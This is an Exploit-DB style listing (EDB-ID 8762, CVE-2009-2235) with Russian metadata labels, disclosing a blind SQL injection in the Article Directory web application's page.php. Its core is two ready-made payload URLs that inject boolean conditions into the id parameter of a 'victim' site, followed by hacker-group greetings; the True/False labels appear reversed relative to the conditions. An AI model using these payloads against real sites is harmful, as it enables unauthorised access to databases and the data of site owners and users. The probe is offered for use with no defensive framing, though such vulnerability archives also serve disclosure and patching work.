Exploit Article Directory - 'page.php' Blind SQL Injection

[Exploiter]

EDB-ID

8762

Проверка EDB

1. Пройдено

Автор

THE G0BL!N

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-2235

Дата публикации

2009-05-21

--------------------------------------------------------------
Article Directory  (page.php) Remote Blind SQL Injection Exploit
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.yourarticlesdirectory.com
Software : Article Directory
Thank You Very Much Hakxer :)
---------------------------------------------------------------
Exploit1:
-------
http://victim/[path]/page.php?id=14+AND+1=1%23  [ False ]
http://victim/[path]/page.php?id=14+AND+1=0%23   [ True ]
-----------------------------------------------------------------------------------------------------
His0k4  - Dr-HTmL , Dos-Dz TeaM , Snakes TeaM ArAb Academy Security Team,And Ev!L-C0d3r.
-----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-05-21]